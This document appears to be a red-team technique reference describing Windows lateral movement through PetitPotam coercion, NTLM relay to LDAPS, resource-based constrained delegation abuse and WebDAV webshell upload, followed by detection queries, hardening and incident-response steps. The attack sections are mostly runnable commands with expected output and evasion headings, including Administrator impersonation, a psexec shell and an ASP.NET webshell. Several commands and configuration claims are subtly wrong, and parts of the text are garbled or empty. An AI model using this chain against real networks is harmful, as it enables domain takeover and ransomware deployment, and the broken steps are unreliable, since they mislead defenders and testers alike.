| Attribute | Details |
|---|---|
| Technique ID | LM-REMOTE-006 |
| MITRE ATT&CK v18.1 | T1021 - Remote Services |
| Tactic | Lateral Movement |
| Platforms | Windows Endpoint |
| Severity | High |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-10 |
| Affected Versions | Windows Server 2016 - 2019 - 2022 - 2025 |
| Patched In | N/A (Technique remains active; relies on chaining with PetitPotam) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: WebClient/WebDAV lateral movement exploits the Windows WebClient service (used for connecting to WebDAV shares over HTTP) combined with NTLM relay attacks. The attack typically begins with PetitPotam (or similar coercion techniques) forcing a machine account to authenticate to an attacker-controlled server. The attacker then relays this NTLM authentication to a Domain Controller via LDAPS, leveraging Resource-Based Constrained Delegation (RBCD) to create backdoor access. WebDAV is often enabled on systems by default (particularly .NET servers like IIS) but is frequently overlooked in security hardening. The combination of WebClient + PetitPotam + NTLM relay has enabled attackers to compromise entire domains with minimal credential requirements.
Attack Surface:
Business Impact: Enables privilege escalation from low-privilege user to domain compromise. Once WebClient coercion succeeds and NTLM relay completes, the attacker can delegate impersonation rights to a newly created machine account. This account can then generate service tickets for any user, effectively compromising all systems that rely on Kerberos authentication. Typical impact includes domain administrator access, data exfiltration, and ransomware deployment.
Technical Context: The attack chain is complex and requires multiple moving pieces (PetitPotam, Responder, ntlmrelayx, GetWebDAVStatus), but once established, provides near-persistence through delegated impersonation. Success depends on: (1) WebClient service running on target, (2) NTLM relay being relayed to LDAPS (not SMB), (3) Domain policy allowing RBCD configuration. Stealth is challenging because NTLM relay to LDAPS requires active interception, but legitimate WebDAV traffic can provide cover.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS 5.6 | Configure Delegation of Authority in Active Directory |
| DISA STIG | WN16-DC-000036 | Kerberos Service Ticket Request Audit |
| CISA SCuBA | SC.L1-3.11.2 | Strong Authentication and Network Isolation |
| NIST 800-53 | AC-3, AC-6, SI-4 | Access Control Enforcement, Least Privilege, System Monitoring |
| GDPR | Art. 32 | Security of Processing - Technical and organizational measures |
| DORA | Art. 9 | Protection and Prevention of ICT-Related Incidents |
| NIS2 | Art. 21 | Cyber Risk Management Measures - Multi-factor authentication |
| ISO 27001 | A.9.2.3, A.6.1.2 | Management of Privileged Access Rights, Information Access Restriction |
| ISO 27005 | § 4.4.2 | Risk Treatment – Authorization and Access Control |
Supported Versions:
Tools:
# Check if WebClient service is running locally
Get-Service -Name WebClient | Select Name, Status
# Expected output: WebClient, Running (or Stopped if disabled)
# Query WebClient status on remote system (requires RPC)
$computer = "192.168.1.2"
$service = Get-Service -ComputerName $computer -Name WebClient -ErrorAction SilentlyContinue
if ($service -eq $null) { Write-Host "WebClient not accessible" }
else { Write-Host "WebClient Status: $($service.Status)" }
# Check if LDAPS is enabled on Domain Controller
nltest /dsgetdc:contoso.com /ldaponly
# Look for output containing "ldaps" or port 636
# Verify Kerberos delegation is possible (requires AD permissions)
Get-ADComputer -Filter * -Properties "msDS-AllowedToActOnBehalfOfOtherIdentity" |
Where-Object { $_."msDS-AllowedToActOnBehalfOfOtherIdentity" -ne $null }
What to Look For:
Version Note: Windows Server 2022+ has additional SMB/LDAP protections but WebClient remains vulnerable
# Test WebClient connectivity and enumerate using Impacket
python3 -m impacket.smbclient -N //192.168.1.2/IPC$ -U "" -no-pass
# Use webclientservicescanner to identify WebClient-enabled systems
python3 webclientservicescanner.py 192.168.1.0/24
# Test LDAPS connectivity to Domain Controller
openssl s_client -connect dc.contoso.com:636 -showcerts
# Expected: SSL certificate from DC
# Check for vulnerable Print Spooler (alternative to PetitPotam)
rpcclient -U "" -N 192.168.1.2 -c "EnumPrinters"
# If RPC succeeds, Print Spooler may be usable for coercion
What to Look For:
Supported Versions: Server 2016-2025
Objective: Set up NTLM interception and provide network name for WebClient to resolve
Command:
# Install Responder
git clone https://github.com/lgandx/Responder.git
cd Responder
# Edit Responder.conf to disable conflicting services
nano Responder.conf
# Set HTTP server = Off, SMB server = Off (to avoid conflicts with ntlmrelayx)
# Start Responder with minimal services (LLMNR, mDNS)
sudo python3 Responder.py -I eth0 -v
# Expected output: Listening for LLMNR, mDNS queries
Expected Output:
[+] Listening for events...
[*] [LLMNR] Poisoning query for: attacker.local
[*] [mDNS] Poisoning query for: attacker.local
[SMB] NTLMv2 Hash captured: MACHINE$::DOMAIN:1122334455667788:...
What This Means:
OpSec & Evasion:
References & Proofs:
Objective: Capture NTLM authentication from PetitPotam and relay it to Domain Controller LDAP to modify delegat permissions
Command:
# Start ntlmrelayx.py listening for NTLM authentication
# This will relay captured credentials to LDAPS on the Domain Controller
python3 -m impacket.ntlmrelayx -t ldaps://dc.contoso.com --delegate-access -smb2support
# Expected output:
# [*] NTLM relay server listening on 192.168.1.100:445
# [*] Waiting for NTLM authentication...
Expected Output (When Attack Succeeds):
[*] NTLM relay server listening on 192.168.1.100:445
[*] SMB server started...
[*] Waiting for incoming connection from victim...
[+] Victim: 192.168.1.2 connected
[*] NTLM authentication received from MACHINE$ (CONTOSO domain)
[+] Successfully relayed credentials to ldaps://dc.contoso.com
[+] Added resource-based constrained delegation:
Principal: NewMachineAccount$
Target: OriginalMachine$
Delegation Right: Allowed to delegate
What This Means:
OpSec & Evasion:
Troubleshooting:
dcdiag /test:connectivity to verify-smb2support flag to use SMB instead of LDAP, or relax LDAP signing requirements (not recommended for security)References & Proofs:
Objective: Force target machine to authenticate to attacker-controlled NTLM relay server
Command:
# Execute PetitPotam against target machine
# This triggers machine account to connect back to attacker
python3 PetitPotam.py -u attacker_user@contoso.com -p PASSWORD 192.168.1.100 192.168.1.2
# 192.168.1.100 = Attacker IP (ntlmrelayx listener)
# 192.168.1.2 = Target system (victim)
# Expected output:
# [+] Connecting to 192.168.1.2 RPC
# [+] Authenticating as CONTOSO\attacker_user
# [+] Triggering machine authentication via PetitPotam
# [+] Target machine connecting to 192.168.1.100 for authentication...
Expected Output (On Attacker - ntlmrelayx):
[+] Received connection from 192.168.1.2
[+] NTLM authentication from MACHINE$@CONTOSO
[+] Successfully relayed to ldaps://dc.contoso.com
[+] Modified RBCD on OriginalMachine$
[+] New machine account: NEWMACHINE$ with delegation rights
What This Means:
OpSec & Evasion:
Troubleshooting:
net config workstation (shows domain)python3 -m impacket.ntlmrelayx -t smb://dc.contoso.com --delegate-accessReferences & Proofs:
Objective: Generate Kerberos service ticket for any user on the compromised machine
Command:
# Generate TGT (Ticket Granting Ticket) using the delegated machine account
python3 -m impacket.getST -spn "cifs/OriginalMachine.contoso.com" \
-impersonate Administrator \
"CONTOSO/NEWMACHINE$:NewMachinePassword" \
-dc-ip dc.contoso.com
# Expected output: Administrator.ccache (Kerberos ticket for Administrator)
# Export the ticket for use
export KRB5CCNAME=/tmp/Administrator.ccache
# Now use ticket to access compromised machine as Administrator
python3 -m impacket.psexec -k -no-pass -target-ip 192.168.1.2 "OriginalMachine.contoso.com" cmd.exe
# -k = Use Kerberos tickets
# -no-pass = Don't prompt for password (use cached ticket)
Expected Output:
[*] Kerberos ticket generated: Administrator@CONTOSO
[*] TGT obtained, impersonating Administrator
[*] Service ticket for cifs/OriginalMachine obtained
[*] Connecting to 192.168.1.2 as CONTOSO\Administrator
Microsoft Windows [Version 10.0.20348]
(C) Microsoft Corporation. All rights reserved.
C:\>
What This Means:
OpSec & Evasion:
Supported Versions: Server 2016-2025 (IIS with WebDAV enabled)
Objective: Identify accessible WebDAV shares on target system
Command:
# Use davtest to enumerate WebDAV share capabilities
python3 davtest.py -url http://192.168.1.2/webdav/
# Expected output:
# Available methods: PUT, DELETE, PROPFIND
# Successfully created: test.txt
# Server allows file upload
Expected Output:
/usr/bin/davtest
Testing http://192.168.1.2/webdav/
PROPFIND /webdav/ 201
MKCOL /webdav/TEST_12345 404
PROPFIND /webdav/ OK
Testing file upload of .txt /webdav/davtest_12345.txt
PUT /webdav/davtest_12345.txt 201
Testing file upload of .php /webdav/davtest_12345.php
PUT /webdav/davtest_12345.php 403
Testing file upload of .jsp /webdav/davtest_12345.jsp
PUT /webdav/davtest_12345.jsp 403
What This Means:
OpSec & Evasion:
Objective: Upload executable payload to WebDAV share and execute
Command:
# Create a simple ASP.NET webshell
cat > shell.aspx << 'EOF'
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<script runat="server">
void Page_Load() {
Process.Start("cmd.exe", "/c whoami > c:\\temp\\whoami.txt");
}
</script>
EOF
# Upload shell to WebDAV share
curl -X PUT -d @shell.aspx http://192.168.1.2/webdav/shell.aspx
# Access the shell via HTTP to trigger execution
curl http://192.168.1.2/webdav/shell.aspx
# Retrieve command output
curl http://192.168.1.2/webdav/output.txt
Expected Output:
Microsoft Windows [Version 10.0.20348]
CONTOSO\IIS_USER
What This Means:
OpSec & Evasion:
Supported Versions: Server 2016+
Invoke-AtomicTest T1021.002 -TestNumbers 3
Invoke-AtomicTest T1021.006 -TestNumbers 1
- **Cleanup:**
```powershell
Invoke-AtomicTest T1021.002 -TestNumbers 3 -Cleanup
Reference: Atomic Red Team - RBCD Attacks
Rule Configuration:
KQL Query:
AuditLogs
| where OperationName has_any ("Add member to group", "Modify computer", "Modify user", "Update policy")
| where ActivityDateTime > ago(30m)
| where tostring(TargetResources[0].displayName) has_any ("msDS-AllowedToActOnBehalfOfOtherIdentity", "Delegation", "RBCD")
| extend ModifiedProperties = parse_json(TargetResources[0].modifiedProperties)
| where ModifiedProperties contains "AllowedToActOnBehalf"
| project-reorder ActivityDateTime, OperationName, InitiatedBy.user.userPrincipalName, TargetResources[0].displayName
| summarize Count = count() by InitiatedBy_upn = InitiatedBy.user.userPrincipalName, TargetResource = tostring(TargetResources[0].displayName)
| where Count > 0
What This Detects:
Manual Configuration Steps:
Lateral Movement - RBCD Delegation ModificationCritical5 minutesRule Configuration:
KQL Query:
SecurityEvent
| where EventID == 7036 // Service state change
| where Process has "WebClient"
| where State == "running"
| summarize StartCount = count() by Computer, TimeStarted = bin(TimeGenerated, 1h)
| where StartCount > 1
What This Detects:
Event ID: 5136 (Directory Service Object Modified)
Manual Configuration Steps (Group Policy):
gpupdate /forceEvent ID: 4768 (Kerberos TGT Requested)
Event ID: 7045 (Service Created)
Disable WebClient Service (If Not Required):
Applies To Versions: Server 2016-2025
Manual Steps (Group Policy):
gpupdate /forceManual Steps (PowerShell):
# Disable WebClient service (requires Local Admin or System)
Set-Service -Name WebClient -StartupType Disabled
Stop-Service -Name WebClient -Force -ErrorAction SilentlyContinue
# Verify disabled
Get-Service -Name WebClient | Select Name, StartType, Status
# Should show: StartType = Disabled, Status = Stopped
Note: Disabling WebClient breaks legitimate WebDAV access; only disable if not used in organization.
Enable LDAP Signing and Channel Binding:
Applies To Versions: Server 2016+
Manual Steps (Domain Controller GPO):
nltest /dsgetdc:contoso.com /ldaponlyManual Steps (PowerShell - DC Only):
Set-ADObject -Identity (Get-ADRootDSE).defaultNamingContext -Replace @{"LdapEnforceChannelBinding"=2}
# 2 = Require channel binding (prevents NTLM relay)
Audit and Restrict Kerberos Delegation:
Applies To Versions: Server 2012+
Manual Steps (Active Directory Users and Computers):
Manual Steps (PowerShell):
# Find all accounts with RBCD configured
Get-ADObject -Filter * -Properties msDS-AllowedToActOnBehalfOfOtherIdentity |
Where-Object { $_."msDS-AllowedToActOnBehalfOfOtherIdentity" -ne $null } |
Select-Object Name, DistinguishedName
# Remove unauthorized RBCD
Set-ADObject -Identity "CN=SuspiciousAccount,CN=Computers,DC=contoso,DC=com" -Clear msDS-AllowedToActOnBehalfOfOtherIdentity
Implement MFA for All RPC Services:
Applies To Versions: Server 2016+ (with Entra ID integration)
Manual Steps (Azure/Entra ID Conditional Access):
Require MFA for RPC ServicesNetwork Segmentation - Isolate WebDAV Traffic:
Manual Steps (Network Security Group - Azure):
Manual Steps (On-Premises - Windows Firewall):
# Block WebDAV (port 80, 443) on endpoints
New-NetFirewallRule -DisplayName "Block WebDAV" -Direction Inbound -Action Block `
-Protocol TCP -LocalPort 80,443 -RemoteAddress 10.0.0.0/8
Remove Unnecessary RBCD Permissions:
Manual Steps:
msDS-AllowedToActOnBehalfOfOtherIdentity attributesGet-ADComputer -Filter * -Properties msDS-AllowedToActOnBehalfOfOtherIdentity | Select Name, msDS-AllowedToActOnBehalfOfOtherIdentity | Export-Csv -Path rbcd_audit.csv
```
Enforce Service Account Hardening:
Manual Steps (Group Policy):
# Verify WebClient is disabled
Get-Service -Name WebClient | Select Status
# Expected: Stopped
# Verify LDAP signing is enforced (DC only)
Get-ADObject -Identity (Get-ADRootDSE).defaultNamingContext -Properties "LdapEnforceChannelBinding" |
Select-Object "LdapEnforceChannelBinding"
# Expected: 2 (Require channel binding)
# Audit RBCD settings
Get-ADObject -Filter * -Properties msDS-AllowedToActOnBehalfOfOtherIdentity |
Where-Object { $_."msDS-AllowedToActOnBehalfOfOtherIdentity" -ne $null }
# Expected: Empty or only authorized accounts
Expected Output (If Secure):
Status : Stopped
LdapEnforceChannelBinding : 2
Name : Authorized-Service-Account$ (Only expected entry)
C:\inetpub\wwwroot\webdav\shell.*)HKLM\System\CurrentControlSet\Services\WebClient (Enabled=1 if service was re-enabled)C:\Windows\System32\LogFiles\W3SVC1\) showing WebDAV uploadsC:\temp\, C:\Windows\Temp\ for temporary service executablesmsDS-AllowedToActOnBehalfOfOtherIdentity# Stop WebClient service immediately
Stop-Service -Name WebClient -Force
# Block port 80/443 (WebDAV) at firewall
New-NetFirewallRule -DisplayName "Emergency Block WebDAV" -Direction Inbound -Action Block `
-Protocol TCP -LocalPort 80,443
# Export Security Event Log
wevtutil epl Security C:\Evidence\Security.evtx
# Capture AD audit logs (on DC)
Get-EventLog -LogName "Directory Service" | Export-Csv C:\Evidence\ADaudit.csv
# Extract RBCD configuration
Get-ADObject -Filter * -Properties "msDS-AllowedToActOnBehalfOfOtherIdentity" |
Export-Csv C:\Evidence\RBCD_audit.csv
# Remove suspicious machine accounts created during attack
Remove-ADComputer -Identity "SuspiciousAccount$" -Confirm:$false
# Remove RBCD permissions from compromised account
$computer = Get-ADComputer -Identity "OriginalMachine$"
Set-ADObject -Identity $computer.DistinguishedName -Clear msDS-AllowedToActOnBehalfOfOtherIdentity
# Reset affected user passwords
Set-ADAccountPassword -Identity "Administrator" -Reset -NewPassword (ConvertTo-SecureString "NewPassword123!" -AsPlainText -Force)
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Reconnaissance | [REC-AD-003] PowerView Domain Enumeration | Attacker maps domain topology and identifies WebClient-enabled systems |
| 2 | Initial Access | [IA-PHISH-001] Device Code Phishing | User enters device code, attacker obtains user credentials |
| 3 | Credential Access | [CA-DUMP-001] LSASS Memory Dump | Extract NTLM hashes for NTLM relay |
| 4 | Current Step | [LM-REMOTE-006] | Execute PetitPotam + NTLM relay to establish RBCD delegation and lateral movement |
| 5 | Persistence | [PERSIST-005] Azure AD Service Principal Backdoor | Create hidden service principal for long-term access |
| 6 | Impact | [IMPACT-002] Ransomware Deployment | Deploy ransomware across all domain endpoints |